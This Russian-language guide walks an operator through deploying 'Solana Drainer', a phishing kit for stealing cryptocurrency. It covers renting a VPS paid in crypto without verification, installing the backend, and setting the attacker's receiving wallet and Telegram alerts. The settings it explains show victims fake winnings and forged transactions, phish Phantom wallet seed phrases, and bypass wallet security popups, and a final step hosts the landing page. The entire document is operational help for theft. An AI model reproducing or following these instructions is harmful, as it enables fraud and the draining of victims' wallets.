Инструкция / Solana Drainer
Данная инструкция поможет вам установить Solana Drainer, который продаётся в партнёрстве с MS Drainer. Помимо неё доступна инструкция, которая была предоставлена непосредственным разработчиком, она доступна на английском языке и вы можете ознакомиться с ней по данной ссылке. Но если вы привыкли к инструкциям в стиле MS Drainer, то продолжим процесс установки вместе с вами.
И так, после того, как вы получили архив со скриптом, вам необходимо разархивировать его в любую удобную для вас папку на вашем компьютере. Совершенно неважно, куда вы его распакуете - это нужно для удобства.
Теперь нам понадобится арендовать чистый VPS с операционной системой Ubuntu 20.04 без каких-либо предустановленных веб-серверов и панелей. Я рекомендую брать VPS на сайте 4VPS, так как там доступна оплата криптовалютой без верификации и выдача сервера происходит быстро. Более того, именно на этом сервере проверялась работоспособность дрейнера. Как арендовать сервер на 4VPS я вам сейчас расскажу, давайте по пунктам:
- Откройте сайт 4VPS и в шапке сайта найдите кнопку "Войти", нажмите на неё. Если у вас уже есть аккаунт, войдите в него, иначе нажмите на ссылку "Создать аккаунт", заполните необходимые данные и после этого нажмите на кнопку "Зарегистрироваться". Готово - аккаунт в сервисе 4VPS создан.
- Перейдите в панель управления серверами, если вы не оказались там после входа / регистрации. Сделать это можно по этой универсальной ссылке.
- В правом верхнем углу в шапке сайта найдите баланс вашего аккаунта и нажмите на него, чтобы перейти к пополнению баланса. После загрузки страницы с балансом нажмите на "Пополнить баланс", откроется окно с выбором способа оплаты, для оплаты криптовалютой выбираем Cryptomus, либо же любой другой удобный вам способ, но лучше криптовалютой. Также нужно указать сумму пополнения, которая вам нужна. Рекомендую пополнять сразу на 1000 рублей, если хотите взять оптимальный сервер, либо на 420 рублей, если хотите взять самый минимальный сервер. Когда всё заполнили, нажимаем "Пополнить" и следуем инструкциям сайта.
- Когда ваш баланс пополнился, что можно проверить в панели управления серверами, можно приступать к аренде сервера. В панели управления нажимаем кнопку "Заказать сервер", выбираем любую локацию (лучше не брать Россию и СНГ - там плохо работает, крайне не рекомендую), например, Нидерланды, затем выбираем тариф. Если вы хотите оптимальный сервер, то рекомендую вам брать тариф XXX-cx21 (вместо XXX название локации). Если же хотите минимальный сервер, то вам нужно выбрать XXX-cx01. Ниже выбираем операционную систему - Ubuntu 20.04, рецепт НЕ ВЫБИРАЕМ, ПРОСТО НИЧЕГО ТАМ НЕ НАЖИМАЕМ, ОЧЕНЬ ВАЖНО! Вводим любое название серверу латинскими (английскими) буквами, можно просто написать Server и особенно ничего не придумывать - это не так важно. Количество виртуальных серверов оставляем на единичке. Промокод не указываем, ну либо указываем, если он откуда-то у вас имеется. В конце концов нажимаем на кнопку "Арендовать" и после появления зеленого сообщения об успешной аренде возвращаемся в панель управления.
- В панели управления должен появиться ваш сервер. Изначально он может быть в статусе "Установка" - это нормально. Нужно немного подождать пока статус сервера изменится на "Включен", просто время от времени перезагружайте страницу и проверяйте статус. Обычно сервер начинает работать в течение 15 минут с момента, как вы его оплатили. Как только сервер получил нужный статус, нужно определиться с его данными. IP адрес можно найти прямо там, где вы сейчас находитесь - скопируйте его и сохраните себе куда-нибудь. Также сохраните имя пользователя сервера, оно у вас всегда будет "root". Чтобы узнать пароль от сервера, откройте вкладку "Сообщения", там будет сообщение с заголовком по типу "Данные сервера XXXXXXX", открываете его и копируете пароль от вашего сервера, также записываете его, как IP и имя пользователя - это всё нам пригодится.
- Не забывайте вовремя пополнять баланс 4VPS, чтобы ваш сервер продолжал работать. Если вы перестанете платить, сервер и все данные на нём будут безвозвратно удалены. На этом всё, процесс аренды сервера завершен.
Подготовка сервера
Теперь нам нужно подготовить сервер под дрейнер, для этого нам понадобится компьютер с операционной системой Windows, желательно новой версии, и немного концентрации, потому что придётся поработать с командной строкой, но в этом нет ничего сложного, вам нужно просто копировать и вставлять команды.
И так, открываем поиск на вашем компьютере и вбиваем туда слово "PowerShell", система покажет вам "Windows PowerShell", нажимаем ПКМ по нему и выбираем "Запустить от имени администратора". У вас откроется консоль и туда нужно будет вбить следующую команду и нажать Enter: ssh root@SERVER_IP
Обратите внимание, что SERVER_IP нужно заменить на реальный IP сервера, который вы арендовали. Например, если у вашего сервера IP 127.0.0.1, то мы отправим в консоль следующую команду: ssh [email protected]
К слову, чтобы вставить в PowerShell что-то из буфера обмена, не нужно нажимать Ctrl + V, достаточно кликнуть ПКМ по консоли и оно вставится.
При первом подключении PowerShell может спросить вас следующее:
Are you sure you want to continue connecting (yes/no/[fingerprint])?
Просто пишем слово "yes" и нажимаем Enter, соглашаясь с его вопросом. После этого последует Warning, но мы его игнорируем - это нормально. Сразу после этого PowerShell запросит пароль от сервера. Вы можете ввести его или также вставить, скопировав его из вашего блокнотика и нажав ПКМ в консоли. Не пугайтесь, пароль при вводе не отображается вообще никак, после ввода или вставки просто нажимайте Enter и ждите. Если после этого вы увидели сообщение "Permission denied, please try again", значит вы ввели пароль неверно, просто повторите попытку ввода. Если же в консоли появилось много текста, в том числе там есть "Welcome to Ubuntu", то всё хорошо - вы вошли на сервер.
Если дальше по инструкции я буду просить что-то ввести в консоль сервера, то вы сначала входите на сервер таким образом (открываете PowerShell, вводите команду, затем пароль и получаете сообщение "Welcome to Ubuntu"), а потом вводите то, что я буду просить ввести. Надеюсь, ничего сильно сложного нет.
Теперь приступим к настройке сервера, вводите команды ниже поочередно, дожидаясь их полного выполнения. То есть копируете одну команду, вставляете в консоль (ПКМ), нажимаете Enter - начнётся какой-то процесс, иногда мгновенный, иногда немного длительный. И как только сервер снова запросит ввод (обычно это можно понять по последней строке root@XXXX:~#), можем аналогично вводить следующую команду и так до тех пор, пока не введем все.
Обратите внимание, что после некоторых команд вас может попросить согласиться на какое-то действие, будет что-то типа этого:
Do you want to continue? [Y/n]
Просто вписываете Y и нажимаете Enter для продолжения.
sudo apt-get update && sudo apt-get upgrade sudo apt install curl curl https://raw.githubusercontent.com/creationix/nvm/master/install.sh | bash source ~/.bashrc nvm install --lts node -v && npm -v
Как вы могли понять, каждая строка - отдельная команда. После выполнения последней команды вы должны получить примерно следующий ответ:
v20.11.1 10.2.4
Числа могут немного отличаться, но главное, чтобы не были меньше указанных. Если вы их видите, то можно немного порадоваться - вы справились с этим.
Установка серверной части
Для дальнейшей части нам понадобится программа FileZilla, заходим на их сайт по данной ссылке и выбираем версию для Windows (она подсвечена красным). Устанавливаем программу со всеми стандартными настройками и открываем её. После входа в программу обращаем внимание на верхнюю её часть:
Теперь заполняем данные нашего сервера в эти поля. В поле "Хост" мы вписываем: sftp://SERVER_IP
, заменяя SERVER_IP на реальный IP VPS. В поле "Имя пользователя" мы вписываем root
, а в поле "Пароль" - пароль от VPS. Затем нажимаем быстрое соединение, после чего вы возможно увидите окно с предупреждением про ключ SSH, просто нажимаем "OK" или любой другой положительный ответ, который будет доступен, и ждём подключения. Если вы сделали всё правильно, то в правой части программы вы увидите надпись "Удаленный сайт: /root" и ниже файлы и папки, которые уже есть на сервере. Нажимаем ПКМ по папке "root", находим пункт "Создать каталог и открыть его".
Вылезет окно, где фразу "Новый каталог" заменяем на "builder", чтобы в поле было написано "/root/builder" и нажимаем на кнопку "OK". Вы автоматически перейдете в новый каталог и увидите его содержимое на правом нижнем экране, после создания он будет пустой, но мы сейчас это исправим. Идём в папку, куда вы распаковали архив с дрейнером, выделяем все-все файлы и папки и просто перетягиваем их в эту пустую правую нижнюю область - вы увидите, что началась загрузка файлов. Ждите, пока загрузка полностью завершится, понять это можно по пустой очереди загрузки (это поле в самом низу программы).
Теперь находим в загруженных файлах файл с названием "database.json", жмём по нему ПКМ и выбираем пункт "Просмотр/Правка". FileZilla может спросить где ей открыть файл, желательно конечно делать это в редакторе кода (например, Notepad++ или VS Code, которые вы также можете заранее скачать), но при желании можно сделать это и в обычном Блокноте. Теперь этот файл нам нужно заполнить, будьте осторожны и не удаляйте никакие символы и кавычки - это может сломать файл. Вот описание каждого пункта из настроек в файле:
telegramBotToken - токен бота Telegram из @BotFather ownerPublicKey - адрес Solana, куда вы будете получать деньги connectionKey - секретный ключ для шифрования, придумайте любой solanaRPCHostHTTPS - HTTPS RPC Solana, необходимо найти или приобрести solanaRPCHostWSS - WSS RPC Solana, необходимо найти или приобрести backendPort - порт, который будет использоваться (менять необязательно)
После изменения файла сохраняем его в программе, где вы его редактировали, и FileZilla предложит вам обновить его на сервере - соглашаемся и ждём загрузки.
Теперь дважды тыкаем на папку "frontend" ЛКМ и переходим в неё. Там, по аналогии с "database.json", открываем файл "config.php"
$BACKEND_HOST - данные вашего сервера, например, SERVER_IP:80 (заменяем на IP вашего VPS) $BACKEND_PROTOCOL - http, почти всегда остаётся без изменений $BACKEND_KEYCODE - секретная фраза, которую вы придумывали в прошлом файле $GROUP_CHAT_ID - ваш ID Telegram, куда будут идти уведомления (не @username, а ID - можно узнать через https://t.me/getidsbot) $IS_CLOUDFLARED - будет ли сайт работает через Cloudflare (true - если да, false - если нет)
Сохраняем, соглашаемся на загрузку, как и с прошлым файлом - продолжаем. По аналогии открываем файл "settings.json" и устанавливаем свои настройки:
- solflareWallet.sol - Сколько солов будет фиктивным выигрышем для пользователя (для кошелька Solflare) - solflareWallet.transactions — сколько будет создано поддельных транзакций с получением сол (каждая будет иметь значение SOL из переменной solflareWallet.sol) - модальный - Тип модального окна (0-3) - phantomWallet.type - Тип фишинга Phantom Wallet (0 - слив, 1 - сид-фишинг) - phantomWallet.sCon - увидит ли пользователь настоящее всплывающее окно Connect перед всплывающим всплывающим окном - phantomWallet.doublePopup.enabled - Включен ли обход фантомных двойных всплывающих окон?* - phantomWallet.doublePopup.solana - Сколько соланы будет фейковой прибылью - phantomWallet.doublePopup.solanaOwner - Кто будет подделывать отправку Соланы жертве (Открытый ключ большого кошелька с Соланой) - phantomWallet.doublePopup.tokens — дополнительные токены для получения - phantomWallet.lol.enabled - Включен ли фантомный обход? - phantomWallet.lol.solana - Сколько соланы будет фейковой прибылью - phantomWallet.lol.solanaOwner - Кто будет подделывать отправку Соланы жертве (Открытый ключ большого кошелька с Соланой) - phantomWallet.lol.tokens — дополнительные токены для получения
Сохраняем, соглашаемся на загрузку, как и с прошлым файлом. Теперь открываем аналогично файл "main.js", находим там в кавычках фразу "RPC LINK" и заменяем её на HTTPS RPC Solana (оставляя кавычки как были). Сохраняем и этот файл, загружаем, а теперь начинаем собирать наши файлы для сайта.
Сворачиваем FileZilla и возвращаемся к PowerShell (если вы его закрыли, то повторно подключаемся). Вбиваем следующие команды по очереди:
cd /root/builder/frontend npm install npm run build
Если после вызова npm run build
вы видите следующую ошибку:
Error: 'createHash' is not exported by __vite-browser-external, imported by node_modules/@solana/spl-type-length-value/lib/esm/splDiscriminate.js
То вызываем ещё эти две команды:
npm run fix npm run build
Если ошибка пропала, ну или если её вообще не было, то возвращаемся в FileZilla, нажимаем ПКМ по области с файлами, выбираем пункт "Обновить" и смотрим появилась ли папка "dist". Если да, то сначала выделяем в текущей директории (frontend) все файлы и папки, кроме этих: dist, node_modules, index.html, main.js. Переносим их в любую уже реальную папку на вашем компьютере, желательно создать для этих целей новую папку. Теперь открываем папку "dist", выделяем там абсолютно все файлы и папки, переносим их в ту же папку, что и все предыдущие файлы. Ждём пока они все скачаются.
Теперь возвращаемся в PowerShell и вбиваем следующие команды:
cd /root/builder npm i pm2 -g npm install pm2 start index.js --watch index.js pm2 save && pm2 list
Если после ввода всего этого вы видите всё следующим образом:
То значит вы сделали всё правильно, теперь можно устанавливать скрипт на сайт. Для этого вам понадобится любое доменное имя и веб-хостинг, можно по аналогии с 4VPS зарегистрироваться на 4HOST и 4DOMAINS и купить там.
После активации хостинга, обязательно добавьте туда домен, который вы приобрели, и выберите в настройках домена версию PHP 8 или выше. Если у вас не отображается такая, то укажите режим FastCGI или просто CGI в настройках.
Теперь через FileZilla подключитесь к хостингу и в папку с вашим доменом (важно, чтобы это был корень сайта, то есть главная папка, для других путей нужно менять также путь к скриптам в HTML файле - держите это в голове) поместите все те файлы, которые вы скачали ранее. Таким образом дрейнер будет активирован и готов к работе. Посмотреть способ подключения к лендингу можно по файлу "index.html", который будет в загружаемых файлах. А если вы в этом не разбираетесь, лучше обратитесь к профессионалам.